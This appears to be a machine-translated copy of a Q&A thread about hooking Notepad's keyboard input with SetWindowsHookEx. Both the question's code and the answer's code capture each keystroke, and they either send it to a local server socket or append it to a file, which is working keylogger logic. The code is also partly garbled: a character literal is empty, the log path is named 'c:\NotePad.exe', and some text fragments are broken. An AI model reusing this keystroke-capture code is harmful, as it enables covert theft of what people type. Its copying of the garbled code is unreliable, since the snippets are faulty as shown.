试图挂起记事本.exe

Trying to hook Notepad.exe

本文关键字：exe 记事本 挂起      更新时间：2023-10-16

我正在尝试使用SetWindowsHookEx来锁定Notepad.exe。

如您所见，工作线程正在向指定的服务器发送它的ASCII码，即wParam。

UINT WINAPI SendToServer(LPVOID lpParam)
{
    CSocket Client;
    Client.Create();
    Client.Connect("localhost", 6677);
    Client.Send(lpParam, 2); // sending its ASICI code to Server
    Client.Close();
    return 0;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    TCHAR szPath[MAX_PATH] = {0,};
    TCHAR* p = nullptr;
    if( nCode >= 0 )
    {
        // bit 31 : 0 => press, 1 => release
        if( !(lParam & 0x80000000) )
        {
            GetModuleFileName(NULL, szPath, MAX_PATH);
            p = strrchr(szPath, '');
            if( !_stricmp(p + 1, "Notepad.exe") )
            {
                unsigned ThreadID;
                g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread
                return 0; 
            }
        }
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

问题是，由于与新工作线程相关的某些原因，记事本发生严重错误(如果我多次单击"忽略"按钮，它会起作用)

我删除了下面这行

g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

记事本。exe

没有错误

任何帮助都将是非常感激的。

这对你有用吗?硬编码路径仅用于测试目的更改路径以匹配您的NotePad.exe所在的位置

LRESULT  __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  ofstream fout;
  fout.open("c:\NotePad.exe",ios::app);
    if (nCode < 0 || nCode != HC_ACTION)
   return CallNextHookEx(hkb, nCode, wParam, lParam);

    if ( (((DWORD)lParam & 0x80000000) == 0) && (HC_ACTION == nCode))
  {
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100)))
        {
      if(GetAsyncKeyState(wParam) == -32767) //this solve it i got it on google but how ??
            {
        BYTE ks[256];
        GetKeyboardState(ks);
        WORD w;
        UINT scan=0;
        ToAscii(wParam,scan,ks,&w,0);
        fout<<char(w);
            }
        }
    }
     fout.close();
  return CallNextHookEx(hkb, nCode, wParam, lParam);
}
相关文章：